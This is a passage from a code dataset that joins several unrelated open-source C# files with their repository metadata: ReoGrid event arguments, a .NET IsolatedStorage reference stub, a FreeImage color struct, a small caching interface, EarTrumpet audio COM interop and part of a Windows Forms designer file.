/// <param name="range">Target range where performs the operation of this event</param>
public BeforeRangeOperationEventArgs(RangePosition range) : base(range) { }
}
/// <summary>
/// Event argument for copying or moving range by dragging mouse
/// </summary>
public class CopyOrMoveRangeEventArgs : EventArgs
{
/// <summary>
/// Source range
/// </summary>
public RangePosition FromRange { get; set; }
/// <summary>
/// Target range
/// </summary>
public RangePosition ToRange { get; set; }
/// <summary>
/// Create event argument instance
/// </summary>
/// <param name="fromRange">Source range</param>
/// <param name="toRange">Target range</param>
public CopyOrMoveRangeEventArgs(RangePosition fromRange, RangePosition toRange)
{
this.FromRange = fromRange;
this.ToRange = toRange;
}
}
/// <summary>
/// Event argument before copying or moving range by dragging mouse
/// </summary>
public class BeforeCopyOrMoveRangeEventArgs : CopyOrMoveRangeEventArgs
{
/// <summary>
/// Cancelled flag used to notify control that abort the copy or move operation
/// </summary>
public bool IsCancelled { get; set; }
/// <summary>
/// Create event argument instance
/// </summary>
/// <param name="fromRange">Source range</param>
/// <param name="toRange">Target range</param>
public BeforeCopyOrMoveRangeEventArgs(RangePosition fromRange, RangePosition toRange)
: base(fromRange, toRange)
{
}
}
/// <summary>
/// Event raised when any errors happened during range operation
/// </summary>
public class RangeOperationErrorEventArgs : RangeEventArgs
{
/// <summary>
/// The exception if happened during range operation
/// </summary>
public Exception Exception { get; set; }
/// <summary>
/// Construct instance with specified range
/// </summary>
/// <param name="range">Target range</param>
/// <param name="ex">Additional exception associated to the range</param>
public RangeOperationErrorEventArgs(RangePosition range, Exception ex)
: base(range)
{
this.Exception = ex;
}
}
#endregion // Range Operations
#region Settings
/// <summary>
/// Event raised when control's settings has been changed
/// </summary>
public class SettingsChangedEventArgs : EventArgs
{
/// <summary>
/// The setting flags what have been added
/// </summary>
public WorksheetSettings AddedSettings { get; set; }
/// <summary>
/// The setting flags what have been removed
/// </summary>
public WorksheetSettings RemovedSettings { get; set; }
}
#endregion // Settings
#region Named Range
/// <summary>
/// Common named range event argument
/// </summary>
public class NamedRangeEventArgs : RangeEventArgs
{
/// <summary>
/// Name of range
/// </summary>
public string Name {get;set;}
/// <summary>
/// Create named range event argument with specified parameters
/// </summary>
/// <param name="range">range as operation target</param>
/// <param name="name">name of range</param>
public NamedRangeEventArgs(RangePosition range, string name)
: base(range)
{
this.Name = name;
}
}
/// <summary>
/// Event raised when named range has been added into spreadsheet
/// </summary>
public class NamedRangeAddedEventArgs : NamedRangeEventArgs
{
/// <summary>
/// Named range instance
/// </summary>
public NamedRange NamedRange { get; private set; }
/// <summary>
/// Create event argument instance with named range instance
/// </summary>
/// <param name="namedRange">named range instance</param>
public NamedRangeAddedEventArgs(NamedRange namedRange)
: this(namedRange, namedRange.Name)
{
this.NamedRange = namedRange;
}
/// <summary>
/// Create event argument instance with specified parameters
/// </summary>
/// <param name="range">spreadsheet range definition</param>
/// <param name="name">the name of added range</param>
public NamedRangeAddedEventArgs(RangePosition range, string name)
: base(range, name)
{
}
}
/// <summary>
/// Event raised when named range has been deleted from spreadsheet
/// </summary>
public class NamedRangeUndefinedEventArgs : NamedRangeEventArgs
{
/// <summary>
/// Construct event argument with specified parameters
/// </summary>
/// <param name="range">spreadsheet range definition</param>
/// <param name="name">the name of deleted range</param>
public NamedRangeUndefinedEventArgs(RangePosition range, string name)
: base(range, name)
{
}
}
#endregion // Named Range
#region Drawing
/// <summary>
/// Represents common event argument of drawing objects.
/// </summary>
public class DrawingEventArgs : EventArgs
{
/// <summary>
/// Get the platform no-associated drawing context instance.
/// </summary>
public DrawingContext Context { get; private set; }
/// <summary>
/// Get the bounds of target rendering region.
/// </summary>
public Rectangle Bounds { get; private set; }
internal DrawingEventArgs(DrawingContext dc, Rectangle bounds)
{
this.Context = dc;
this.Bounds = bounds;
}
}
#endregion // Drawing
#endregion // Worksheet Arguments
}
| 28.26503 | 113 | 0.681316 |
[
"MIT"
] |
burstray/ReoGrid
|
!ReoGrid-3.0.0/ReoGrid/EventArgs.cs
| 33,383 |
C#
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace System.IO.IsolatedStorage
{
public partial interface INormalizeForIsolatedStorage
{
object Normalize();
}
public abstract partial class IsolatedStorage : System.MarshalByRefObject
{
protected IsolatedStorage() { }
public object ApplicationIdentity { get { throw null; } }
public object AssemblyIdentity { get { throw null; } }
public virtual long AvailableFreeSpace { get { throw null; } }
[System.CLSCompliantAttribute(false)]
[System.ObsoleteAttribute("IsolatedStorage.CurrentSize has been deprecated because it is not CLS Compliant. To get the current size use IsolatedStorage.UsedSize")]
public virtual ulong CurrentSize { get { throw null; } }
public object DomainIdentity { get { throw null; } }
[System.CLSCompliantAttribute(false)]
[System.ObsoleteAttribute("IsolatedStorage.MaximumSize has been deprecated because it is not CLS Compliant. To get the maximum size use IsolatedStorage.Quota")]
public virtual ulong MaximumSize { get { throw null; } }
public virtual long Quota { get { throw null; } }
public System.IO.IsolatedStorage.IsolatedStorageScope Scope { get { throw null; } }
protected virtual char SeparatorExternal { get { throw null; } }
protected virtual char SeparatorInternal { get { throw null; } }
public virtual long UsedSize { get { throw null; } }
//CAS protected abstract System.Security.Permissions.IsolatedStoragePermission GetPermission(System.Security.PermissionSet ps);
public virtual bool IncreaseQuotaTo(long newQuotaSize) { throw null; }
protected void InitStore(System.IO.IsolatedStorage.IsolatedStorageScope scope, System.Type appEvidenceType) { }
protected void InitStore(System.IO.IsolatedStorage.IsolatedStorageScope scope, System.Type domainEvidenceType, System.Type assemblyEvidenceType) { }
public abstract void Remove();
}
public partial class IsolatedStorageException : System.Exception
{
public IsolatedStorageException() { }
protected IsolatedStorageException(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context) { }
public IsolatedStorageException(string message) { }
public IsolatedStorageException(string message, System.Exception inner) { }
}
public sealed partial class IsolatedStorageFile : System.IO.IsolatedStorage.IsolatedStorage, System.IDisposable
{
internal IsolatedStorageFile() { }
public override long AvailableFreeSpace { get { throw null; } }
[System.CLSCompliantAttribute(false)]
[System.ObsoleteAttribute("IsolatedStorageFile.CurrentSize has been deprecated because it is not CLS Compliant. To get the current size use IsolatedStorageFile.UsedSize")]
public override ulong CurrentSize { get { throw null; } }
public static bool IsEnabled { get { throw null; } }
[System.CLSCompliantAttribute(false)]
[System.ObsoleteAttribute("IsolatedStorageFile.MaximumSize has been deprecated because it is not CLS Compliant. To get the maximum size use IsolatedStorageFile.Quota")]
public override ulong MaximumSize { get { throw null; } }
public override long Quota { get { throw null; } }
public override long UsedSize { get { throw null; } }
public void Close() { }
public void CopyFile(string sourceFileName, string destinationFileName) { }
public void CopyFile(string sourceFileName, string destinationFileName, bool overwrite) { }
public void CreateDirectory(string dir) { }
public System.IO.IsolatedStorage.IsolatedStorageFileStream CreateFile(string path) { throw null; }
public void DeleteDirectory(string dir) { }
public void DeleteFile(string file) { }
public bool DirectoryExists(string path) { throw null; }
public void Dispose() { }
public bool FileExists(string path) { throw null; }
public System.DateTimeOffset GetCreationTime(string path) { throw null; }
public string[] GetDirectoryNames() { throw null; }
public string[] GetDirectoryNames(string searchPattern) { throw null; }
public static System.Collections.IEnumerator GetEnumerator(System.IO.IsolatedStorage.IsolatedStorageScope scope) { throw null; }
public string[] GetFileNames() { throw null; }
public string[] GetFileNames(string searchPattern) { throw null; }
public System.DateTimeOffset GetLastAccessTime(string path) { throw null; }
public System.DateTimeOffset GetLastWriteTime(string path) { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetMachineStoreForApplication() { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetMachineStoreForAssembly() { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetMachineStoreForDomain() { throw null; }
//CAS protected override System.Security.Permissions.IsolatedStoragePermission GetPermission(System.Security.PermissionSet ps) { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetStore(System.IO.IsolatedStorage.IsolatedStorageScope scope, object applicationIdentity) { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetStore(System.IO.IsolatedStorage.IsolatedStorageScope scope, object domainIdentity, object assemblyIdentity) { throw null; }
//CAS public static System.IO.IsolatedStorage.IsolatedStorageFile GetStore(System.IO.IsolatedStorage.IsolatedStorageScope scope, System.Security.Policy.Evidence domainEvidence, System.Type domainEvidenceType, System.Security.Policy.Evidence assemblyEvidence, System.Type assemblyEvidenceType) { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetStore(System.IO.IsolatedStorage.IsolatedStorageScope scope, System.Type applicationEvidenceType) { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetStore(System.IO.IsolatedStorage.IsolatedStorageScope scope, System.Type domainEvidenceType, System.Type assemblyEvidenceType) { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetUserStoreForApplication() { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetUserStoreForAssembly() { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetUserStoreForDomain() { throw null; }
public static System.IO.IsolatedStorage.IsolatedStorageFile GetUserStoreForSite() { throw null; }
public override bool IncreaseQuotaTo(long newQuotaSize) { throw null; }
public void MoveDirectory(string sourceDirectoryName, string destinationDirectoryName) { }
public void MoveFile(string sourceFileName, string destinationFileName) { }
public System.IO.IsolatedStorage.IsolatedStorageFileStream OpenFile(string path, System.IO.FileMode mode) { throw null; }
public System.IO.IsolatedStorage.IsolatedStorageFileStream OpenFile(string path, System.IO.FileMode mode, System.IO.FileAccess access) { throw null; }
public System.IO.IsolatedStorage.IsolatedStorageFileStream OpenFile(string path, System.IO.FileMode mode, System.IO.FileAccess access, System.IO.FileShare share) { throw null; }
public override void Remove() { }
public static void Remove(System.IO.IsolatedStorage.IsolatedStorageScope scope) { }
}
public partial class IsolatedStorageFileStream : System.IO.FileStream
{
public IsolatedStorageFileStream(string path, System.IO.FileMode mode) : base (default(Microsoft.Win32.SafeHandles.SafeFileHandle), default(System.IO.FileAccess)) { }
public IsolatedStorageFileStream(string path, System.IO.FileMode mode, System.IO.FileAccess access) : base (default(Microsoft.Win32.SafeHandles.SafeFileHandle), default(System.IO.FileAccess)) { }
public IsolatedStorageFileStream(string path, System.IO.FileMode mode, System.IO.FileAccess access, System.IO.FileShare share) : base (default(Microsoft.Win32.SafeHandles.SafeFileHandle), default(System.IO.FileAccess)) { }
public IsolatedStorageFileStream(string path, System.IO.FileMode mode, System.IO.FileAccess access, System.IO.FileShare share, int bufferSize) : base (default(Microsoft.Win32.SafeHandles.SafeFileHandle), default(System.IO.FileAccess)) { }
public IsolatedStorageFileStream(string path, System.IO.FileMode mode, System.IO.FileAccess access, System.IO.FileShare share, int bufferSize, System.IO.IsolatedStorage.IsolatedStorageFile isf) : base (default(Microsoft.Win32.SafeHandles.SafeFileHandle), default(System.IO.FileAccess)) { }
public IsolatedStorageFileStream(string path, System.IO.FileMode mode, System.IO.FileAccess access, System.IO.FileShare share, System.IO.IsolatedStorage.IsolatedStorageFile isf) : base (default(Microsoft.Win32.SafeHandles.SafeFileHandle), default(System.IO.FileAccess)) { }
public IsolatedStorageFileStream(string path, System.IO.FileMode mode, System.IO.FileAccess access, System.IO.IsolatedStorage.IsolatedStorageFile isf) : base (default(Microsoft.Win32.SafeHandles.SafeFileHandle), default(System.IO.FileAccess)) { }
public IsolatedStorageFileStream(string path, System.IO.FileMode mode, System.IO.IsolatedStorage.IsolatedStorageFile isf) : base (default(Microsoft.Win32.SafeHandles.SafeFileHandle), default(System.IO.FileAccess)) { }
public override bool CanRead { get { throw null; } }
public override bool CanSeek { get { throw null; } }
public override bool CanWrite { get { throw null; } }
[System.ObsoleteAttribute("This property has been deprecated. Please use IsolatedStorageFileStream's SafeFileHandle property instead. https://go.microsoft.com/fwlink/?linkid=14202")]
public override System.IntPtr Handle { get { throw null; } }
public override bool IsAsync { get { throw null; } }
public override long Length { get { throw null; } }
public override long Position { get { throw null; } set { } }
public override Microsoft.Win32.SafeHandles.SafeFileHandle SafeFileHandle { get { throw null; } }
public override System.IAsyncResult BeginRead(byte[] buffer, int offset, int numBytes, System.AsyncCallback userCallback, object stateObject) { throw null; }
public override System.IAsyncResult BeginWrite(byte[] buffer, int offset, int numBytes, System.AsyncCallback userCallback, object stateObject) { throw null; }
protected override void Dispose(bool disposing) { }
public override System.Threading.Tasks.ValueTask DisposeAsync() { throw null; }
public override int EndRead(System.IAsyncResult asyncResult) { throw null; }
public override void EndWrite(System.IAsyncResult asyncResult) { }
public override void Flush() { }
public override void Flush(bool flushToDisk) { }
public override System.Threading.Tasks.Task FlushAsync(System.Threading.CancellationToken cancellationToken) { throw null; }
public override void Lock(long position, long length) { }
public override int Read(byte[] buffer, int offset, int count) { throw null; }
public override int Read(System.Span<byte> buffer) { throw null; }
public override System.Threading.Tasks.Task<int> ReadAsync(byte[] buffer, int offset, int count, System.Threading.CancellationToken cancellationToken) { throw null; }
public override System.Threading.Tasks.ValueTask<int> ReadAsync(System.Memory<byte> buffer, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { throw null; }
public override int ReadByte() { throw null; }
public override long Seek(long offset, System.IO.SeekOrigin origin) { throw null; }
public override void SetLength(long value) { }
public override void Unlock(long position, long length) { }
public override void Write(byte[] buffer, int offset, int count) { }
public override void Write(System.ReadOnlySpan<byte> buffer) { }
public override System.Threading.Tasks.Task WriteAsync(byte[] buffer, int offset, int count, System.Threading.CancellationToken cancellationToken) { throw null; }
public override System.Threading.Tasks.ValueTask WriteAsync(System.ReadOnlyMemory<byte> buffer, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { throw null; }
public override void WriteByte(byte value) { }
}
[System.FlagsAttribute]
public enum IsolatedStorageScope
{
Application = 32,
Assembly = 4,
Domain = 2,
Machine = 16,
None = 0,
Roaming = 8,
User = 1,
}
}
| 87.46 | 315 | 0.743426 |
[
"MIT"
] |
AzureMentor/standard
|
src/netstandard/ref/System.IO.IsolatedStorage.cs
| 13,119 |
C#
|
// ==========================================================
// FreeImage 3 .NET wrapper
// Original FreeImage 3 functions and .NET compatible derived functions
//
// Design and implementation by
// - Jean-Philippe Goerke ([email protected])
// - Carsten Klein ([email protected])
//
// Contributors:
// - David Boland ([email protected])
//
// Main reference : MSDN Knowlede Base
//
// This file is part of FreeImage 3
//
// COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY
// OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES
// THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE
// OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED
// CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT
// THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY
// SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL
// PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER
// THIS DISCLAIMER.
//
// Use at your own risk!
// ==========================================================
// ==========================================================
// CVS
// $Revision: 1.3 $
// $Date: 2009/02/20 07:41:08 $
// $Id: FIRGBF.cs,v 1.3 2009/02/20 07:41:08 cklein05 Exp $
// ==========================================================
using System;
using System.Drawing;
using System.Runtime.InteropServices;
namespace FreeImageAPI
{
/// <summary>
/// The <b>FIRGBF</b> structure describes a color consisting of relative
/// intensities of red, green, blue and alpha value. Each single color
/// component consumes 32 bits and takes values in the range from 0 to 1.
/// </summary>
/// <remarks>
/// <para>
/// The <b>FIRGBF</b> structure provides access to an underlying FreeImage <b>FIRGBF</b>
/// structure. To determine the red, green or blue component of a color, use the
/// red, green or blue fields, respectively.
/// </para>
/// <para>For easy integration of the underlying structure into the .NET framework,
/// the <b>FIRGBF</b> structure implements implicit conversion operators to
/// convert the represented color to and from the <see cref="System.Drawing.Color"/>
/// type. This makes the <see cref="System.Drawing.Color"/> type a real replacement
/// for the <b>FIRGBF</b> structure and my be used in all situations which require
/// an <b>FIRGBF</b> type.
/// </para>
/// <para>
/// Each color component alpha, red, green or blue of <b>FIRGBF</b> is translated
/// into it's corresponding color component A, R, G or B of
/// <see cref="System.Drawing.Color"/> by linearly mapping the values of one range
/// into the other range and vice versa.
/// When converting from <see cref="System.Drawing.Color"/> into <b>FIRGBF</b>, the
/// color's alpha value is ignored and assumed to be 255 when converting from
/// <b>FIRGBF</b> into <see cref="System.Drawing.Color"/>, creating a fully
/// opaque color.
/// </para>
/// <para>
/// <b>Conversion from System.Drawing.Color to FIRGBF</b>
/// </para>
/// <c>FIRGBF.component = (float)Color.component / 255f</c>
/// <para>
/// <b>Conversion from FIRGBF to System.Drawing.Color</b>
/// </para>
/// <c>Color.component = (int)(FIRGBF.component * 255f)</c>
/// <para>
/// The same conversion is also applied when the <see cref="FreeImageAPI.FIRGBF.Color"/>
/// property or the <see cref="FreeImageAPI.FIRGBF(System.Drawing.Color)"/> constructor
/// is invoked.
/// </para>
/// </remarks>
/// <example>
/// The following code example demonstrates the various conversions between the
/// <b>FIRGBF</b> structure and the <see cref="System.Drawing.Color"/> structure.
/// <code>
/// FIRGBF firgbf;
/// // Initialize the structure using a native .NET Color structure.
/// firgbf = new FIRGBF(Color.Indigo);
/// // Initialize the structure using the implicit operator.
/// firgbf = Color.DarkSeaGreen;
/// // Convert the FIRGBF instance into a native .NET Color
/// // using its implicit operator.
/// Color color = firgbf;
/// // Using the structure's Color property for converting it
/// // into a native .NET Color.
/// Color another = firgbf.Color;
/// </code>
/// </example>
[Serializable, StructLayout(LayoutKind.Sequential)]
public struct FIRGBF : IComparable, IComparable<FIRGBF>, IEquatable<FIRGBF>
{
/// <summary>
/// The red color component.
/// </summary>
public float red;
/// <summary>
/// The green color component.
/// </summary>
public float green;
/// <summary>
/// The blue color component.
/// </summary>
public float blue;
/// <summary>
/// Initializes a new instance based on the specified <see cref="System.Drawing.Color"/>.
/// </summary>
/// <param name="color"><see cref="System.Drawing.Color"/> to initialize with.</param>
public FIRGBF(Color color)
{
red = (float)color.R / 255f;
green = (float)color.G / 255f;
blue = (float)color.B / 255f;
}
/// <summary>
/// Tests whether two specified <see cref="FIRGBF"/> structures are equivalent.
/// </summary>
/// <param name="left">The <see cref="FIRGBF"/> that is to the left of the equality operator.</param>
/// <param name="right">The <see cref="FIRGBF"/> that is to the right of the equality operator.</param>
/// <returns>
/// <b>true</b> if the two <see cref="FIRGBF"/> structures are equal; otherwise, <b>false</b>.
/// </returns>
public static bool operator ==(FIRGBF left, FIRGBF right)
{
return
((left.blue == right.blue) &&
(left.green == right.green) &&
(left.red == right.red));
}
/// <summary>
/// Tests whether two specified <see cref="FIRGBF"/> structures are different.
/// </summary>
/// <param name="left">The <see cref="FIRGBF"/> that is to the left of the inequality operator.</param>
/// <param name="right">The <see cref="FIRGBF"/> that is to the right of the inequality operator.</param>
/// <returns>
/// <b>true</b> if the two <see cref="FIRGBF"/> structures are different; otherwise, <b>false</b>.
/// </returns>
public static bool operator !=(FIRGBF left, FIRGBF right)
{
return !(left == right);
}
/// <summary>
/// Converts the value of a <see cref="System.Drawing.Color"/> structure to a <see cref="FIRGBF"/> structure.
/// </summary>
/// <param name="value">A <see cref="System.Drawing.Color"/> structure.</param>
/// <returns>A new instance of <see cref="FIRGBF"/> initialized to <paramref name="value"/>.</returns>
public static implicit operator FIRGBF(Color value)
{
return new FIRGBF(value);
}
/// <summary>
/// Converts the value of a <see cref="FIRGBF"/> structure to a <see cref="System.Drawing.Color"/> structure.
/// </summary>
/// <param name="value">A <see cref="FIRGBF"/> structure.</param>
/// <returns>A new instance of <see cref="System.Drawing.Color"/> initialized to <paramref name="value"/>.</returns>
public static implicit operator Color(FIRGBF value)
{
return value.Color;
}
/// <summary>
/// Gets or sets the <see cref="System.Drawing.Color"/> of the structure.
/// </summary>
public Color Color
{
get
{
return Color.FromArgb(
(int)(red * 255f),
(int)(green * 255f),
(int)(blue * 255f));
}
set
{
red = (float)value.R / 255f;
green = (float)value.G / 255f;
blue = (float)value.B / 255f;
}
}
/// <summary>
/// Compares this instance with a specified <see cref="Object"/>.
/// </summary>
/// <param name="obj">An object to compare with this instance.</param>
/// <returns>A 32-bit signed integer indicating the lexical relationship between the two comparands.</returns>
/// <exception cref="ArgumentException"><paramref name="obj"/> is not a <see cref="FIRGBF"/>.</exception>
public int CompareTo(object obj)
{
if (obj == null)
{
return 1;
}
if (!(obj is FIRGBF))
{
throw new ArgumentException("obj");
}
return CompareTo((FIRGBF)obj);
}
/// <summary>
/// Compares this instance with a specified <see cref="FIRGBF"/> object.
/// </summary>
/// <param name="other">A <see cref="FIRGBF"/> to compare.</param>
/// <returns>A signed number indicating the relative values of this instance
/// and <paramref name="other"/>.</returns>
public int CompareTo(FIRGBF other)
{
return this.Color.ToArgb().CompareTo(other.Color.ToArgb());
}
/// <summary>
/// Tests whether the specified object is a <see cref="FIRGBF"/> structure
/// and is equivalent to this <see cref="FIRGBF"/> structure.
/// </summary>
/// <param name="obj">The object to test.</param>
/// <returns><b>true</b> if <paramref name="obj"/> is a <see cref="FIRGBF"/> structure
/// equivalent to this <see cref="FIRGBF"/> structure; otherwise, <b>false</b>.</returns>
public override bool Equals(object obj)
{
return ((obj is FIRGBF) && (this == ((FIRGBF)obj)));
}
/// <summary>
/// Tests whether the specified <see cref="FIRGBF"/> structure is equivalent to this <see cref="FIRGBF"/> structure.
/// </summary>
/// <param name="other">A <see cref="FIRGBF"/> structure to compare to this instance.</param>
/// <returns><b>true</b> if <paramref name="obj"/> is a <see cref="FIRGBF"/> structure
/// equivalent to this <see cref="FIRGBF"/> structure; otherwise, <b>false</b>.</returns>
public bool Equals(FIRGBF other)
{
return (this == other);
}
/// <summary>
/// Returns a hash code for this <see cref="FIRGBF"/> structure.
/// </summary>
/// <returns>An integer value that specifies the hash code for this <see cref="FIRGBF"/>.</returns>
public override int GetHashCode()
{
return base.GetHashCode();
}
/// <summary>
/// Converts the numeric value of the <see cref="FIRGBF"/> object
/// to its equivalent string representation.
/// </summary>
/// <returns>The string representation of the value of this instance.</returns>
public override string ToString()
{
return FreeImage.ColorToString(Color);
}
}
}
| 41.867647 | 124 | 0.575869 |
[
"MIT"
] |
nhh-softwarehuset/resizer
|
Plugins/Libs/FreeImage/Wrapper/FreeImage.NET/cs/Library/Structs/FIRGBF.cs
| 11,388 |
C#
|
namespace JanHafner.Restify.Caching
{
using System;
using JetBrains.Annotations;
/// <summary>
/// Signals that the implementor provides an e-tag.
/// </summary>
public interface IReRequestable
{
/// <summary>
/// The E-Tag of the resource.
/// </summary>
[CanBeNull]
String ETag { get; set; }
}
}
| 21.823529 | 55 | 0.563342 |
[
"MIT"
] |
icedt89/Restify
|
Source/Restify.Caching/IReRequestable.cs
| 373 |
C#
|
using System.Runtime.InteropServices;
namespace EarTrumpet.Interop.MMDeviceAPI
{
[Guid("C3B284D4-6D39-4359-B3CF-B56DDB3BB39C")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IAudioVolumeDuckNotification
{
void OnVolumeDuckNotification([MarshalAs(UnmanagedType.LPWStr)]string sessionID, uint countCommunicationSessions);
void OnVolumeUnduckNotification([MarshalAs(UnmanagedType.LPWStr)]string sessionID);
}
}
| 39.5 | 123 | 0.770042 |
[
"MIT"
] |
ADeltaX/EarTrumpet
|
EarTrumpet/Interop/MMDeviceAPI/IAudioVolumeDuckNotification.cs
| 465 |
C#
|
namespace Time_Buddy
{
partial class frmTimeBuddy
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(frmTimeBuddy));
this.grpConverter = new System.Windows.Forms.GroupBox();
this.btnConvCalculate = new System.Windows.Forms.Button();
this.label1 = new System.Windows.Forms.Label();
this.lblInput = new System.Windows.Forms.Label();
this.txtOutput = new System.Windows.Forms.TextBox();
this.txtInput = new System.Windows.Forms.TextBox();
this.grpTimeShifter = new System.Windows.Forms.GroupBox();
this.txtT1 = new System.Windows.Forms.TextBox();
this.lblT1 = new System.Windows.Forms.Label();
this.txtT2 = new System.Windows.Forms.TextBox();
this.lblT2 = new System.Windows.Forms.Label();
this.txtResultsS = new System.Windows.Forms.TextBox();
this.btnAdd = new System.Windows.Forms.Button();
this.btnSubtract = new System.Windows.Forms.Button();
this.lblTimeOutput = new System.Windows.Forms.Label();
this.txtResultsHMS = new System.Windows.Forms.TextBox();
this.grpConverter.SuspendLayout();
this.grpTimeShifter.SuspendLayout();
this.SuspendLayout();
//
// grpConverter
//
this.grpConverter.Controls.Add(this.btnConvCalculate);
this.grpConverter.Controls.Add(this.label1);
this.grpConverter.Controls.Add(this.lblInput);
this.grpConverter.Controls.Add(this.txtOutput);
this.grpConverter.Controls.Add(this.txtInput);
this.grpConverter.Location = new System.Drawing.Point(40, 25);
this.grpConverter.Name = "grpConverter";
this.grpConverter.Size = new System.Drawing.Size(398, 108);
this.grpConverter.TabIndex = 0;
this.grpConverter.TabStop = false;
this.grpConverter.Text = "Time Converter";
//
// btnConvCalculate
//
this.btnConvCalculate.Location = new System.Drawing.Point(141, 69);
this.btnConvCalculate.Name = "btnConvCalculate";
this.btnConvCalculate.Size = new System.Drawing.Size(126, 23);
this.btnConvCalculate.TabIndex = 4;
this.btnConvCalculate.Text = "Convert";
this.btnConvCalculate.UseVisualStyleBackColor = true;
this.btnConvCalculate.Click += new System.EventHandler(this.btnConvCalculate_Click);
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(213, 35);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(65, 13);
this.label1.TabIndex = 3;
this.label1.Text = "Time Output";
//
// lblInput
//
this.lblInput.AutoSize = true;
this.lblInput.Location = new System.Drawing.Point(6, 35);
this.lblInput.Name = "lblInput";
this.lblInput.Size = new System.Drawing.Size(57, 13);
this.lblInput.TabIndex = 2;
this.lblInput.Text = "Time Input";
//
// txtOutput
//
this.txtOutput.Location = new System.Drawing.Point(284, 31);
this.txtOutput.Name = "txtOutput";
this.txtOutput.Size = new System.Drawing.Size(100, 20);
this.txtOutput.TabIndex = 1;
//
// txtInput
//
this.txtInput.Location = new System.Drawing.Point(69, 32);
this.txtInput.Name = "txtInput";
this.txtInput.Size = new System.Drawing.Size(100, 20);
this.txtInput.TabIndex = 0;
//
// grpTimeShifter
//
this.grpTimeShifter.Controls.Add(this.txtResultsHMS);
this.grpTimeShifter.Controls.Add(this.lblTimeOutput);
this.grpTimeShifter.Controls.Add(this.btnSubtract);
this.grpTimeShifter.Controls.Add(this.btnAdd);
this.grpTimeShifter.Controls.Add(this.txtResultsS);
this.grpTimeShifter.Controls.Add(this.lblT2);
this.grpTimeShifter.Controls.Add(this.txtT2);
this.grpTimeShifter.Controls.Add(this.lblT1);
this.grpTimeShifter.Controls.Add(this.txtT1);
this.grpTimeShifter.Location = new System.Drawing.Point(43, 161);
this.grpTimeShifter.Name = "grpTimeShifter";
this.grpTimeShifter.Size = new System.Drawing.Size(395, 228);
this.grpTimeShifter.TabIndex = 1;
this.grpTimeShifter.TabStop = false;
this.grpTimeShifter.Text = "Time Shifter";
//
// txtT1
//
this.txtT1.Location = new System.Drawing.Point(152, 35);
this.txtT1.Name = "txtT1";
this.txtT1.Size = new System.Drawing.Size(100, 20);
this.txtT1.TabIndex = 0;
//
// lblT1
//
this.lblT1.AutoSize = true;
this.lblT1.Location = new System.Drawing.Point(107, 38);
this.lblT1.Name = "lblT1";
this.lblT1.Size = new System.Drawing.Size(39, 13);
this.lblT1.TabIndex = 1;
this.lblT1.Text = "Time 1";
//
// txtT2
//
this.txtT2.Location = new System.Drawing.Point(152, 61);
this.txtT2.Name = "txtT2";
this.txtT2.Size = new System.Drawing.Size(100, 20);
this.txtT2.TabIndex = 2;
//
// lblT2
//
this.lblT2.AutoSize = true;
this.lblT2.Location = new System.Drawing.Point(107, 64);
this.lblT2.Name = "lblT2";
this.lblT2.Size = new System.Drawing.Size(39, 13);
this.lblT2.TabIndex = 3;
this.lblT2.Text = "Time 2";
//
// txtResultsS
//
this.txtResultsS.Location = new System.Drawing.Point(152, 161);
this.txtResultsS.Name = "txtResultsS";
this.txtResultsS.Size = new System.Drawing.Size(100, 20);
this.txtResultsS.TabIndex = 4;
//
// btnAdd
//
this.btnAdd.Location = new System.Drawing.Point(110, 108);
this.btnAdd.Name = "btnAdd";
this.btnAdd.Size = new System.Drawing.Size(75, 23);
this.btnAdd.TabIndex = 5;
this.btnAdd.Text = "Add";
this.btnAdd.UseVisualStyleBackColor = true;
this.btnAdd.Click += new System.EventHandler(this.btnAdd_Click);
//
// btnSubtract
//
this.btnSubtract.Location = new System.Drawing.Point(213, 108);
this.btnSubtract.Name = "btnSubtract";
this.btnSubtract.Size = new System.Drawing.Size(75, 23);
this.btnSubtract.TabIndex = 6;
this.btnSubtract.Text = "Subtract";
this.btnSubtract.UseVisualStyleBackColor = true;
this.btnSubtract.Click += new System.EventHandler(this.btnSubtract_Click);
//
// lblTimeOutput
//
